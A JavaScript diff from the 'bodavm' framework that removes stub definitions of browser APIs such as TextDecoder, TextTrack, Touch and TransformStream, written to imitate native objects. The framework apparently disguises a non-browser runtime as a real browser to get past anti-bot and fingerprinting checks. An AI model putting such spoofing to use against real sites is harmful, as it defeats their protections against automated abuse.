-bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TaskController'], "TaskController"); -bodavm.memory.globalobj['TaskController'].prototype.__proto__=bodavm.memory.globalobj['AbortController'].prototype; -bodavm.memory.globalobj['TaskController'].__proto__=bodavm.memory.globalobj['AbortController']; -bodavm.toolsFunc.defineProperty('TaskController', "setPriority", {configurable:true, enumerable:true, writable:true, value:function setPriority (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TaskController'].prototype, "TaskController", "setPriority", arguments)}},'prototype'); - -// TaskPriorityChangeEvent对象 -bodavm.memory.globalobj['TaskPriorityChangeEvent'] = function TaskPriorityChangeEvent(){if (!(this instanceof TaskPriorityChangeEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'TaskPriorityChangeEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TaskPriorityChangeEvent'], "TaskPriorityChangeEvent"); -bodavm.memory.globalobj['TaskPriorityChangeEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['TaskPriorityChangeEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('TaskPriorityChangeEvent', "previousPriority", {configurable:true, enumerable:true, get:function previousPriority (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TaskPriorityChangeEvent'].prototype, "TaskPriorityChangeEvent", "previousPriority_get", arguments)}, set:undefined},'prototype'); - -// TaskSignal对象 -bodavm.memory.globalobj['TaskSignal'] = function TaskSignal(){if (!(this instanceof TaskSignal)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TaskSignal'], "TaskSignal"); -bodavm.memory.globalobj['TaskSignal'].prototype.__proto__=bodavm.memory.globalobj['AbortSignal'].prototype; -bodavm.memory.globalobj['TaskSignal'].__proto__=bodavm.memory.globalobj['AbortSignal']; -bodavm.toolsFunc.defineProperty('TaskSignal', "priority", {configurable:true, enumerable:true, get:function priority (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TaskSignal'].prototype, "TaskSignal", "priority_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TaskSignal', "onprioritychange", {configurable:true, enumerable:true, get:function onprioritychange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TaskSignal'].prototype, "TaskSignal", "onprioritychange_get", arguments)}, set:function onprioritychange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TaskSignal'].prototype, "TaskSignal", "onprioritychange_set", arguments)}},'prototype'); - -// TextDecoder对象 -bodavm.memory.globalobj['TextDecoder'] = function TextDecoder(){this._boarg= new bodaobj.window.TextDecoder();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TextDecoder'], "TextDecoder"); -bodavm.toolsFunc.defineProperty('TextDecoder', "encoding", {configurable:true, enumerable:true, get:function encoding (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextDecoder'].prototype, "TextDecoder", "encoding_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TextDecoder', "fatal", {configurable:true, enumerable:true, get:function fatal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextDecoder'].prototype, "TextDecoder", "fatal_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TextDecoder', "ignoreBOM", {configurable:true, enumerable:true, get:function ignoreBOM (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextDecoder'].prototype, "TextDecoder", "ignoreBOM_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TextDecoder', "decode", {configurable:true, enumerable:true, writable:true, value:function decode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextDecoder'].prototype, "TextDecoder", "decode", arguments)}},'prototype'); - -// TextDecoderStream对象 -bodavm.memory.globalobj['TextDecoderStream'] = function TextDecoderStream(){this._boarg= new bodaobj.window.TextDecoderStream();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TextDecoderStream'], "TextDecoderStream"); -bodavm.toolsFunc.defineProperty('TextDecoderStream', "encoding", {configurable:true, enumerable:true, get:function encoding (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextDecoderStream'].prototype, "TextDecoderStream", "encoding_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TextDecoderStream', "fatal", {configurable:true, enumerable:true, get:function fatal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextDecoderStream'].prototype, "TextDecoderStream", "fatal_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TextDecoderStream', "ignoreBOM", {configurable:true, enumerable:true, get:function ignoreBOM (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextDecoderStream'].prototype, "TextDecoderStream", "ignoreBOM_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TextDecoderStream', "readable", {configurable:true, enumerable:true, get:function readable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextDecoderStream'].prototype, "TextDecoderStream", "readable_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TextDecoderStream', "writable", {configurable:true, enumerable:true, get:function writable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextDecoderStream'].prototype, "TextDecoderStream", "writable_get", arguments)}, set:undefined},'prototype'); - -// TextEncoder对象 -bodavm.memory.globalobj['TextEncoder'] = function TextEncoder(){this._boarg= new bodaobj.window.TextEncoder();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TextEncoder'], "TextEncoder"); -bodavm.toolsFunc.defineProperty('TextEncoder', "encoding", {configurable:true, enumerable:true, get:function encoding (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextEncoder'].prototype, "TextEncoder", "encoding_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TextEncoder', "encode", {configurable:true, enumerable:true, writable:true, value:function encode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextEncoder'].prototype, "TextEncoder", "encode", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TextEncoder', "encodeInto", {configurable:true, enumerable:true, writable:true, value:function encodeInto (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextEncoder'].prototype, "TextEncoder", "encodeInto", arguments)}},'prototype'); - -// TextEncoderStream对象 -bodavm.memory.globalobj['TextEncoderStream'] = function TextEncoderStream(){this._boarg= new bodaobj.window.TextEncoderStream();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TextEncoderStream'], "TextEncoderStream"); -bodavm.toolsFunc.defineProperty('TextEncoderStream', "encoding", {configurable:true, enumerable:true, get:function encoding (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextEncoderStream'].prototype, "TextEncoderStream", "encoding_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TextEncoderStream', "readable", {configurable:true, enumerable:true, get:function readable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextEncoderStream'].prototype, "TextEncoderStream", "readable_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TextEncoderStream', "writable", {configurable:true, enumerable:true, get:function writable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextEncoderStream'].prototype, "TextEncoderStream", "writable_get", arguments)}, set:undefined},'prototype'); - -// TextEvent对象 -bodavm.memory.globalobj['TextEvent'] = function TextEvent(){if (!(this instanceof TextEvent)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TextEvent'], "TextEvent"); -bodavm.memory.globalobj['TextEvent'].prototype.__proto__=bodavm.memory.globalobj['UIEvent'].prototype; -bodavm.memory.globalobj['TextEvent'].__proto__=bodavm.memory.globalobj['UIEvent']; -bodavm.toolsFunc.defineProperty('TextEvent', "data", {configurable:true, enumerable:true, get:function data (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextEvent'].prototype, "TextEvent", "data_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TextEvent', "initTextEvent", {configurable:true, enumerable:true, writable:true, value:function initTextEvent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextEvent'].prototype, "TextEvent", "initTextEvent", arguments)}},'prototype'); - -// TextMetrics对象 -bodavm.memory.globalobj['TextMetrics'] = function TextMetrics(){if (!(this instanceof TextMetrics)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TextMetrics'], "TextMetrics"); -bodavm.toolsFunc.defineProperty('TextMetrics', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextMetrics'].prototype, "TextMetrics", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TextMetrics', "actualBoundingBoxLeft", {configurable:true, enumerable:true, get:function actualBoundingBoxLeft (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextMetrics'].prototype, "TextMetrics", "actualBoundingBoxLeft_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TextMetrics', "actualBoundingBoxRight", {configurable:true, enumerable:true, get:function actualBoundingBoxRight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextMetrics'].prototype, "TextMetrics", "actualBoundingBoxRight_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TextMetrics', "fontBoundingBoxAscent", {configurable:true, enumerable:true, get:function fontBoundingBoxAscent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextMetrics'].prototype, "TextMetrics", "fontBoundingBoxAscent_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TextMetrics', "fontBoundingBoxDescent", {configurable:true, enumerable:true, get:function fontBoundingBoxDescent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextMetrics'].prototype, "TextMetrics", "fontBoundingBoxDescent_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TextMetrics', "actualBoundingBoxAscent", {configurable:true, enumerable:true, get:function actualBoundingBoxAscent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextMetrics'].prototype, "TextMetrics", "actualBoundingBoxAscent_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TextMetrics', "actualBoundingBoxDescent", {configurable:true, enumerable:true, get:function actualBoundingBoxDescent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextMetrics'].prototype, "TextMetrics", "actualBoundingBoxDescent_get", arguments)}, set:undefined},'prototype'); - -// TextTrack对象 -bodavm.memory.globalobj['TextTrack'] = function TextTrack(){if (!(this instanceof TextTrack)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TextTrack'], "TextTrack"); -bodavm.memory.globalobj['TextTrack'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['TextTrack'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('TextTrack', "kind", {configurable:true, enumerable:true, get:function kind (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrack'].prototype, "TextTrack", "kind_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TextTrack', "label", {configurable:true, enumerable:true, get:function label (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrack'].prototype, "TextTrack", "label_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TextTrack', "language", {configurable:true, enumerable:true, get:function language (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrack'].prototype, "TextTrack", "language_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TextTrack', "id", {configurable:true, enumerable:true, get:function id (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrack'].prototype, "TextTrack", "id_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TextTrack', "mode", {configurable:true, enumerable:true, get:function mode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrack'].prototype, "TextTrack", "mode_get", arguments)}, set:function mode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrack'].prototype, "TextTrack", "mode_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TextTrack', "cues", {configurable:true, enumerable:true, get:function cues (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrack'].prototype, "TextTrack", "cues_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TextTrack', "activeCues", {configurable:true, enumerable:true, get:function activeCues (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrack'].prototype, "TextTrack", "activeCues_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TextTrack', "oncuechange", {configurable:true, enumerable:true, get:function oncuechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrack'].prototype, "TextTrack", "oncuechange_get", arguments)}, set:function oncuechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrack'].prototype, "TextTrack", "oncuechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TextTrack', "addCue", {configurable:true, enumerable:true, writable:true, value:function addCue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrack'].prototype, "TextTrack", "addCue", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TextTrack', "removeCue", {configurable:true, enumerable:true, writable:true, value:function removeCue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrack'].prototype, "TextTrack", "removeCue", arguments)}},'prototype'); - -// TextTrackCue对象 -bodavm.memory.globalobj['TextTrackCue'] = function TextTrackCue(){if (!(this instanceof TextTrackCue)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TextTrackCue'], "TextTrackCue"); -bodavm.memory.globalobj['TextTrackCue'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['TextTrackCue'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('TextTrackCue', "track", {configurable:true, enumerable:true, get:function track (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCue'].prototype, "TextTrackCue", "track_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TextTrackCue', "id", {configurable:true, enumerable:true, get:function id (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCue'].prototype, "TextTrackCue", "id_get", arguments)}, set:function id (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCue'].prototype, "TextTrackCue", "id_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TextTrackCue', "startTime", {configurable:true, enumerable:true, get:function startTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCue'].prototype, "TextTrackCue", "startTime_get", arguments)}, set:function startTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCue'].prototype, "TextTrackCue", "startTime_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TextTrackCue', "endTime", {configurable:true, enumerable:true, get:function endTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCue'].prototype, "TextTrackCue", "endTime_get", arguments)}, set:function endTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCue'].prototype, "TextTrackCue", "endTime_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TextTrackCue', "pauseOnExit", {configurable:true, enumerable:true, get:function pauseOnExit (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCue'].prototype, "TextTrackCue", "pauseOnExit_get", arguments)}, set:function pauseOnExit (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCue'].prototype, "TextTrackCue", "pauseOnExit_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TextTrackCue', "onenter", {configurable:true, enumerable:true, get:function onenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCue'].prototype, "TextTrackCue", "onenter_get", arguments)}, set:function onenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCue'].prototype, "TextTrackCue", "onenter_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TextTrackCue', "onexit", {configurable:true, enumerable:true, get:function onexit (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCue'].prototype, "TextTrackCue", "onexit_get", arguments)}, set:function onexit (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCue'].prototype, "TextTrackCue", "onexit_set", arguments)}},'prototype'); - -// TextTrackCueList对象 -bodavm.memory.globalobj['TextTrackCueList'] = function TextTrackCueList(){if (!(this instanceof TextTrackCueList)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TextTrackCueList'], "TextTrackCueList"); -bodavm.toolsFunc.defineProperty('TextTrackCueList', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCueList'].prototype, "TextTrackCueList", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TextTrackCueList', "getCueById", {configurable:true, enumerable:true, writable:true, value:function getCueById (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCueList'].prototype, "TextTrackCueList", "getCueById", arguments)}},'prototype'); - -// TimeRanges对象 -bodavm.memory.globalobj['TimeRanges'] = function TimeRanges(){if (!(this instanceof TimeRanges)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TimeRanges'], "TimeRanges"); -bodavm.toolsFunc.defineProperty('TimeRanges', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TimeRanges'].prototype, "TimeRanges", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TimeRanges', "end", {configurable:true, enumerable:true, writable:true, value:function end (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TimeRanges'].prototype, "TimeRanges", "end", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TimeRanges', "start", {configurable:true, enumerable:true, writable:true, value:function start (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TimeRanges'].prototype, "TimeRanges", "start", arguments)}},'prototype'); - -// toolbar对象 -bodavm.memory.globalobj['toolbar'] = { - _boisinit:bodavm.config.isinit - } -bodavm.memory.globalobj['toolbar'].__proto__=bodavm.memory.globalobj['BarProp'].prototype; - -// Touch对象 -bodavm.memory.globalobj['Touch'] = function Touch(){if (!(this instanceof Touch)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'Touch': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Touch'], "Touch"); -bodavm.toolsFunc.defineProperty('Touch', "identifier", {configurable:true, enumerable:true, get:function identifier (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Touch'].prototype, "Touch", "identifier_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Touch', "target", {configurable:true, enumerable:true, get:function target (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Touch'].prototype, "Touch", "target_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Touch', "screenX", {configurable:true, enumerable:true, get:function screenX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Touch'].prototype, "Touch", "screenX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Touch', "screenY", {configurable:true, enumerable:true, get:function screenY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Touch'].prototype, "Touch", "screenY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Touch', "clientX", {configurable:true, enumerable:true, get:function clientX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Touch'].prototype, "Touch", "clientX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Touch', "clientY", {configurable:true, enumerable:true, get:function clientY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Touch'].prototype, "Touch", "clientY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Touch', "pageX", {configurable:true, enumerable:true, get:function pageX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Touch'].prototype, "Touch", "pageX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Touch', "pageY", {configurable:true, enumerable:true, get:function pageY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Touch'].prototype, "Touch", "pageY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Touch', "radiusX", {configurable:true, enumerable:true, get:function radiusX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Touch'].prototype, "Touch", "radiusX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Touch', "radiusY", {configurable:true, enumerable:true, get:function radiusY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Touch'].prototype, "Touch", "radiusY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Touch', "rotationAngle", {configurable:true, enumerable:true, get:function rotationAngle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Touch'].prototype, "Touch", "rotationAngle_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Touch', "force", {configurable:true, enumerable:true, get:function force (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Touch'].prototype, "Touch", "force_get", arguments)}, set:undefined},'prototype'); - -// TouchEvent对象 -bodavm.memory.globalobj['TouchEvent'] = function TouchEvent(){if (!(this instanceof TouchEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'TouchEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TouchEvent'], "TouchEvent"); -bodavm.memory.globalobj['TouchEvent'].prototype.__proto__=bodavm.memory.globalobj['UIEvent'].prototype; -bodavm.memory.globalobj['TouchEvent'].__proto__=bodavm.memory.globalobj['UIEvent']; -bodavm.toolsFunc.defineProperty('TouchEvent', "touches", {configurable:true, enumerable:true, get:function touches (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TouchEvent'].prototype, "TouchEvent", "touches_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TouchEvent', "targetTouches", {configurable:true, enumerable:true, get:function targetTouches (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TouchEvent'].prototype, "TouchEvent", "targetTouches_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TouchEvent', "changedTouches", {configurable:true, enumerable:true, get:function changedTouches (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TouchEvent'].prototype, "TouchEvent", "changedTouches_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TouchEvent', "altKey", {configurable:true, enumerable:true, get:function altKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TouchEvent'].prototype, "TouchEvent", "altKey_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TouchEvent', "metaKey", {configurable:true, enumerable:true, get:function metaKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TouchEvent'].prototype, "TouchEvent", "metaKey_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TouchEvent', "ctrlKey", {configurable:true, enumerable:true, get:function ctrlKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TouchEvent'].prototype, "TouchEvent", "ctrlKey_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TouchEvent', "shiftKey", {configurable:true, enumerable:true, get:function shiftKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TouchEvent'].prototype, "TouchEvent", "shiftKey_get", arguments)}, set:undefined},'prototype'); - -// TouchList对象 -bodavm.memory.globalobj['TouchList'] = function TouchList(){if (!(this instanceof TouchList)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TouchList'], "TouchList"); -bodavm.toolsFunc.defineProperty('TouchList', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TouchList'].prototype, "TouchList", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TouchList', "item", {configurable:true, enumerable:true, writable:true, value:function item (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TouchList'].prototype, "TouchList", "item", arguments)}},'prototype'); - -// TrackEvent对象 -bodavm.memory.globalobj['TrackEvent'] = function TrackEvent(){if (!(this instanceof TrackEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'TrackEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TrackEvent'], "TrackEvent"); -bodavm.memory.globalobj['TrackEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['TrackEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('TrackEvent', "track", {configurable:true, enumerable:true, get:function track (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrackEvent'].prototype, "TrackEvent", "track_get", arguments)}, set:undefined},'prototype'); - -// TransformStream对象 -bodavm.memory.globalobj['TransformStream'] = function TransformStream(){this._boarg= new bodaobj.window.TransformStream();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TransformStream'], "TransformStream"); -bodavm.toolsFunc.defineProperty('TransformStream', "readable", {configurable:true, enumerable:true, get:function readable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TransformStream'].prototype, "TransformStream", "readable_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TransformStream', "writable", {configurable:true, enumerable:true, get:function writable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TransformStream'].prototype, "TransformStream", "writable_get", arguments)}, set:undefined},'prototype'); - -// TransformStreamDefaultController对象 -bodavm.memory.globalobj['TransformStreamDefaultController'] = function TransformStreamDefaultController(){if (!(this instanceof TransformStreamDefaultController)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TransformStreamDefaultController'], "TransformStreamDefaultController"); -bodavm.toolsFunc.defineProperty('TransformStreamDefaultController', "desiredSize", {configurable:true, enumerable:true, get:function desiredSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TransformStreamDefaultController'].prototype, "TransformStreamDefaultController", "desiredSize_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TransformStreamDefaultController', "enqueue", {configurable:true, enumerable:true, writable:true, value:function enqueue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TransformStreamDefaultController'].prototype, "TransformStreamDefaultController", "enqueue", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TransformStreamDefaultController', "error", {configurable:true, enumerable:true, writable:true, value:function error (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TransformStreamDefaultController'].prototype, "TransformStreamDefaultController", "error", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TransformStreamDefaultController', "terminate", {configurable:true, enumerable:true, writable:true, value:function terminate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TransformStreamDefaultController'].prototype, "TransformStreamDefaultController", "terminate", arguments)}},'prototype'); - -// TransitionEvent对象 -bodavm.memory.globalobj['TransitionEvent'] = function TransitionEvent(){if (!(this instanceof TransitionEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'TransitionEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TransitionEvent'], "TransitionEvent"); 